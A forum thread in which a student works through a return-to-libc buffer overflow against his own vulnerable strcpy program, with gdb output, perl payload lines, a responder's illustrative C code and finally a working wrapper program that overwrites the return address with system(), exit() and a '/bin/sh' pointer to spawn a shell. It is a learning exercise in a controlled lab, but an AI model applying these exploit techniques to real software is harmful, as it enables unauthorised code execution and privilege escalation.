Problem with simple return-to-libc exploit.

Im experimenting with some basic exploits and need some help.

Here is the standard issue code - exploit.c :

Code:

---

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{

  char buffer[5];
//buffer[0] = 1;
//buffer[5] = 0;

  strcpy(buffer, argv[1]);
 
 return 0;
}

---

It will be obvious what im trying to do, but ill explain anyway.

I want to craft a buffer and feed it to ./exploit so that the call to strcpy() will overwrite the stack frame belonging to main, and execution can be redirected to the system() call in libc.

Here are the steps I have taken.

I want system() to spawn me a shell so I need to pass it the argument "/bin/sh", which i've stored in an enviroment variable:

Quote:

---

$>export BINSH="/bin/sh"

---

And written a simple program to return the address of the variable in memory using the getenv() function :

Quote:

---

$ ./getenv BINSH
BINSH @ 0xbffffc86

---

To find the address of system() ive used used gdb:
Note that address space randomization has been turned off.

Quote:

---

$ gdb -q exploit
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run aaaa
Starting program: ........../exploit aaaa

Program exited normally.
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ede030 <system>
(gdb) quit

---

To find out how much garbage to put at the start of the buffer I looked at the output from gcc - exploit.s :

Code:

---

.file        "exploit.c"
        .text
.globl main
        .type        main, @function
main:
        leal        4(%esp), %ecx
        andl        $-16, %esp
        pushl  -4(%ecx)
        pushl  %ebp
        movl        %esp, %ebp
        pushl  %ecx
        subl        $36, %esp
        movl        4(%ecx), %eax
        addl        $4, %eax
        movl        (%eax), %eax
        movl        %eax, 4(%esp)
        leal        -9(%ebp), %eax
        movl        %eax, (%esp)
        call        strcpy
        movl        $0, %eax
        addl        $36, %esp
        popl        %ecx
        popl        %ebp
        leal        -4(%ecx), %esp
        ret
        .size        main, .-main
        .ident        "GCC: (GNU) 4.1.2 (Gentoo 4.1.2)"
        .section        .note.GNU-stack,"",@progbits

---

It looks as though buffer[0] is located 9 bytes from the saved frame pointer. I execute the exploit code with a crafted buffer as follows:

Quote:

---

$ ./exploit `perl -e 'print "A"x13 . "\x30\xe0\xed\xb7AAAA\x86\xfc\xff\xbf";'`
Segmentation fault

---

......nothing. No new shell.
Despite the fact I know that EIP is getting overwritten. According to gdb:

Quote:

---

$ gdb -q exploit
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x08048374 <main+0>: lea 0x4(%esp),%ecx
0x08048378 <main+4>: and $0xfffffff0,%esp
0x0804837b <main+7>: pushl 0xfffffffc(%ecx)
0x0804837e <main+10>: push %ebp
0x0804837f <main+11>: mov %esp,%ebp
0x08048381 <main+13>: push %ecx
0x08048382 <main+14>: sub $0x24,%esp
0x08048385 <main+17>: mov 0x4(%ecx),%eax
0x08048388 <main+20>: add $0x4,%eax
0x0804838b <main+23>: mov (%eax),%eax
0x0804838d <main+25>: mov %eax,0x4(%esp)
0x08048391 <main+29>: lea 0xfffffff7(%ebp),%eax
0x08048394 <main+32>: mov %eax,(%esp)
0x08048397 <main+35>: call 0x80482c0 <strcpy@plt>
0x0804839c <main+40>: mov $0x0,%eax
0x080483a1 <main+45>: add $0x24,%esp
0x080483a4 <main+48>: pop %ecx
0x080483a5 <main+49>: pop %ebp
0x080483a6 <main+50>: lea 0xfffffffc(%ecx),%esp
0x080483a9 <main+53>: ret
End of assembler dump.
(gdb) break *0x0804839c
Breakpoint 1 at 0x804839c
(gdb) run `perl -e 'print "A"x13 . "\x30\xe0\xed\xb7AAAA\x86\xfc\xff\xbf";'`
Starting program: ........./exploit `perl -e 'print "A"x13 . "\x30\xe0\xed\xb7AAAA\x86\xfc\xff\xbf";'`

Breakpoint 1, 0x0804839c in main ()
(gdb) info frame
Stack level 0, frame at 0xbffff230:
eip = 0x804839c in main; saved eip 0xb7ede030
Arglist at 0xbffff228, args:
Locals at 0xbffff228, Previous frame's sp is 0xfffffdb9
Saved registers:
ecx at 0xbffff224, ebp at 0xbffff228, eip at 0xbffff22c
(gdb)

---

So what am I doing wrong? Have I crafted the stack frame incorrectly? What am I missing?

Are you still reading?

Any insight or pointers in the right direction are greatly appreciated.

Here is some more information about my system that might be useful.

Quote:

---

$ uname -a
Linux localhost 2.6.20-gentoo-r8 #1 Wed Jul 11 01:17:44 GMT 2007 i686 Mobile AMD Sempron(tm) Processor 3400+ AuthenticAMD GNU/Linux

$ gcc --version
gcc (GCC) 4.1.2 (Gentoo 4.1.2)

---

[/QUOTE]

My dear "Prince of the pudding race" (Rabbie Burns) I have allowed this post, on the grounds that we are a security site.

Sorry that I am not technically competent to answer your question :(

cheers :)

Before I answer or attempt to, can I ask from what viewpoint you are interested in exploits, to use them to gain system access or understand them to prevent?

Do you care?

I have no desire to learn, from you or anyone else here, how to break into peoples computers; Nor to understand exploits with a view to preventing them (as I never write code that appears in the public domain). I simply wish to understand these techniques.

No-one is going to gain root access with this exploit anyway (as system() drops privileges).

So please dont give me your right-of-passage question-and-answer-session bull***t. If you think i'm some nasty wannabe hacker(or whatever) who is going to try to do lots of nasty stuff, then simply dont post anything. I'll learn the techniques myself eventually, I just wondered if there might be any support out there, or anyone who shared an interest and wanted to engage in some intelligent discussion.

But please, dont post crap like that :)

Quote:

---

Originally Posted by Haggis

Do you care?

---

Wouldn't of asked if I didnt!

Quote:

---

Originally Posted by Haggis

But please, dont post crap like that :)

---

No prob, I won't. :p

Quote:

---

Do you care?

---

Yes, strange though it might seem, we actually do..........

Believe it or not, we get so many "how do I hack my girlfriend's Hotmail account" or online Viagra adverts and all that crap..............

I made a personal decision that you were a genuine guy who would contribute to our forums........... please don't prove me wrong, and do lose the chip on your shoulder.

Quote:

---

I have no desire to learn, from you or anyone else here

---

Why did you join then?

If you cannot code, perhaps you should consider a career in selling icecream?

If you have no intellectual humility perhaps you should go elsewhere?

Up to you my "prince of the pudding race" :D

Quote:

---

Originally Posted by nihil

do lose the chip on your shoulder.

---

Agreed!
You'll find people more willing to help then.
And from what I've seen - there are def people who can!

Quote:

---

If you cannot code, perhaps you should consider a career in selling icecream?

---

Ha. :D

But I do agree with nihil - you seem to be genuinely interested, so an adjustment in attitude would really help.

I found the link below an interesting read, might help you.

[Edit] Link removed as I don't like posting in public forums. Check your PM.[/Edit]

Provided as a gesture of good faith! :)

I do beg your pardon, I may have been a bit quick off the mark. There was no need to respond like that and I apologize - if not for causing offence, then certainly for bringing down the intelligence of the forum.

Please do not quote me out of context, i'm sure you're well aware the point I was making - I have no desire to "Hack my Girlfriends Hotmail"(Incidently, we have quite a good relationship, and I am granted free access to her account for my own use:D ).

I am genuine. A student from Glasgow, studying a mixture of electronics and computer science. I have been programming for some time and have recently become interested in how programs are exploited, in particular how execution can be controlled and redirected. I have come accross a stumbling block however and required some help understanding. I thought this would be a good thread for people who are in the same position but didnt know who to ask, as I am aware the resources for this type of exploit go out of date quite quickly.

This is advertised as a "Security" forum with a section in particular, on "Programming Security". I would of thought the bulk of the discussion here would centre upon buffer overflows, format string exploits etc. which doesnt seem to be the case. Hence I have started a thread where hopefully, people with enough intelligence, will be able to follow a very basic (and relatively un-dangerous) exploit from start to finish. To that end then, I invite anyone with the knowledge and desire, to please contribute.

Thank you for the link WolfeTone. I have not yet looked at it but certainly will!

You don't have any shellcode or anything. You're just calling system() with no arguments. It needs a command to execute. You need to get the address of a string with the command you want on the stack before you call it. I've never seen anyone do it that way though. I've only seen people put the actual machine code to exec a shell in memory and have it return to that. I'm sure the link provided to you will give you a good understanding. Good luck.

Hi

Interesting. I haven't done ret-to-libc for quite a while, but
actually, considering your code, I would have expected something
to happen.


Thus, I started up two of my old machines in understand to issue:

Quote:

---

Linux sarge 2.4.32 #1 SMP
gcc (GCC) 3.3.5 (Debian 1:3.3.5-13)

---

Quote:

---

Linux fc4 2.6.15-1.1831_FC4smp #1 SMP
gcc (GCC) 4.0.1 20050727 (Red Hat 4.0.1-5)

---

I made a quick ugly test on sarge. You may check the
shellcoder's handbook[1] for a short introduction.


Note: The following ret-to-libc illustrations will not work
per se. First, I have the addresses hardcoded, which will reduce
portability, second, there are two small logical errors in the code.
These illustrations are for educational purposes only.

Code:

---

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define ADDRSYSTEM 0x4005e810


int shell;

char shellcode[12] =
        "\x10\xe8\x05\x40"      // system
        "\x00\x9b\x04\x40"      // exit
        "\xfc\xe4\x13\x40";    // /bin/sh


const int size = 16;
const int offset = 32;

int main(int argc, char *argv[])
{

  char buffer[size];
  int i;
  for (i=0;i<size;i++) buffer[i]='A';


//just for illustration: this will give me a "/bin/sh" string
  shell = ADDRSYSTEM;
  while(memcmp((void *)shell, "/bin/sh",8)){
      shell+=1;
  }
  printf("\"/bin/sh\" found at: %08x\n", shell);
  printf("buffer found at: %08x\n", &(buffer[0]));

  char *ptr=&(buffer[0]);

  for (i=0;i<size+offset;i++) *(ptr);

  for (i=0;i<12;i++)
    *(ptr) = shellcode[i];


  printf("hello.\n");
 
 return 0;
}

---

As expected, I got a shell. Remember, if you specify a correct exit-address,
your program will not cause a segmentation fault.



The same code runs correctly on the fc4-machine after adjusting the
"parameters", however, no shell is spawned. A check with gdb was enlightening:

Code:

---

(gdb) r
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0x432000
buffer found at: bf881278
par found at: 080495a8
hello.
Detaching after fork from child process 26475.

Program exited with code 054.

---

Thus, I tried something else to "prove" that my shell gets spawned:

Code:

---

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define ADDRSYSTEM 0x0055032b

char shellcode[12] =
        "\x2b\x03\x55\x00"      // system()
        "\xe4\x5a\x54\x00"      // exit()
        "\xa8\x95\x04\x08";    // &par


const int size = 16;
const int offset = 20;

char par[20] = "/bin/sh -c ls >l.ist";

int main(int argc, char *argv[])
{

  char buffer[size];
  int i;

  printf("buffer found at: %08x\n", &(buffer[0]));
  printf("par found at: %08x\n", &(par[0]));

  char *ptr=&(buffer[0]);

  for (i=0;i<size+offset;i++) *(ptr);

  for (i=0;i<12;i++)
    *(ptr) = shellcode[i];

  printf("hello.\n");
 
 return 0;
}

---

Indeed, after running the code, a file l.ist was created, proving
that my shell actually has been spawned.


Remark: On the fc4-machine, system() as well as exit() is loaded at
an address containing a leading \0x00, thus, that system is hard to
exploit in the ordinary sense.




So, in order to understand your problem, I would be interested in
the gdb-output, if you run your exploit without a breakpoint. The
segmentation error may simply be caused by your invalid cont-address
'AAAA'.


Another idea: you may try a different gcc-version (like 3.3.5)
or try different option-settings (don't forget to adjust offsets).
In the past, I did realise that some "exploits" did not work with one
compiler-version, but did with another




Wolftone, I would be interested in that link as well. Since these
techniques are relatively old and well-established and since there is a
lot of technical documentation publicly available, there should not be a
problem posting it (except it is on your own server and you don't want
that :) )



Cheers


[1] "The Shellcoder's Handbook", Jack Koziol et al.

Hi there

Okay, here's how I got it to work.

First of all I tried installing an older version of gcc(3.3.5) to see if it "just worked". But no. I also tried looking at the options being passed to gcc automatically. Some sneaky ones there (libmudflap - bounds checking?), but as far as i'm aware, no stack protection.

Okay then, continuing with gcc 3.3.5

Probing deeper with gdb, it seems the program was exiting cleanly (after swapping 'AAAA' with exit() ), but not doing anything. So I started to think more about the parameter being passed to the system() call.

I wasnt thinking clearly when I wrote a seperate utility to get the address of my enviroment variable ($BINSH="/bin/sh"). Passing that address with perl on the command-line wont work - obviously the address would change for each process.

So I scrapped perl, and wrote a wrapper program instead - wrapper.c:

Code:

---

include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

unsigned long sp(void)
{
        __asm__("movl %esp, %eax");
}


int main(int argc, char *argv[])
{
  unsigned char *ptr, *buffer;
  int size,t,e;
  unsigned long system = 0xb7ede030, exit = 0xb7ed3e60, f;
 
  ptr = (unsigned char *)sp();

  printf("stack at %p - or thereabouts\n", ptr);
   

  /* Find enviroment variable on the stack */
  while(memcmp(ptr, "BINSH", 5))
  {
        ptr++;
  }

  printf("%s, found at, %p\n", ptr, ptr);
 
  /* miss out "BINSH=" */
  ptr = ptr + 6;
 
  printf("truncating ---- %s ---- new address is %p\n", ptr, ptr);
 
  /**** Just realised this is a very long winded way of putting and finding a
 string in memory, obviously it could have just went on the heap - O well...Having
 said that, I was worried it might get overwritten when execution context changes to './exploit' below.
Not sure if this is justified. ****/
 
 
 
  /* The buffer of the program we're wrapping, starts 24 bytes from the saved frame pointer, so..*/
    /*...... + 4 (EBP) + 4 (EIP - system call) + 4(exit call) + 4(ptr -> $BINSH) */
  size = 24 + 4 + 4 + 4 + 4;
 
  buffer = malloc(size);
  if(buffer == NULL)
  {
          printf("memory troubles\n");
          _exit(0);
  }
 
 
  /* Staying true to the original attempt at this, fill the first part of the buffer with A's */
  /* overwriting EBP also */
    memset(buffer, 0x41, 28);
   
  /* now add the return address of system() to the buffer and sort out endianess */
  for(t=0,e=28;t<4;t++,e++)
  {
           
        buffer[e] = (system & 0x000000ff);
        system >>= 8;
  }
 
  /* and exit()... */
  for(t=0;t<4;t++,e++)
  {
           
        buffer[e] = (exit & 0x000000ff);
        exit >>= 8;
  }
 
  /* and finally, ptr - corresponding to $BINSH */
  f = (unsigned long)ptr;
  for(t=0;t<4;t++,e++)
  {
           
        buffer[e] = (f & 0x000000ff);
        f >>= 8;
  }
 
  /* Check the buffer *//*
  for(t=0;buffer[t]!=0x00;t++)
          printf("buffer[%d] = %x\n", t, buffer[t]);
    */
       
  /* now execute the vulnerable program (and hope for the best) */
 
  t = execl("./exploit", "exploit", buffer, NULL);
 
  if(t=-1)
  {
          printf("didnt work\n");
  }
 
  free(buffer);
 
  return 0;
}

---

And run it:

Quote:

---

$ ./wrapper
stack at 0xbffff228 - or thereabouts
BINSH=/bin/sh, found at, 0xbffffc7e
truncating ---- /bin/sh ---- new address is 0xbffffc84
sh: bin/sh: No such file or directory

---

Result!

While a shell wasnt spawned, its only because the string is missing a leading '/' i.e its off by one byte. So I just amend the line in wrapper.c:

Code:

---

ptr = ptr + 6 - 1;

---

and viola..

Quote:

---

sh-3.2$ exit
exit

---

--------

Thanks for the insight Sec. WolfeTone's link had some stuff about stack protection schemes, which im going to start looking at next, plus Address Space Randomization.

Also one might like to consider how to get root access if this program was set suid root. I remember reading about making multiple calls to libc (setuid() etc.). I cant quite remember where I read this, but ill have a look and maybe post that here too.

Cheers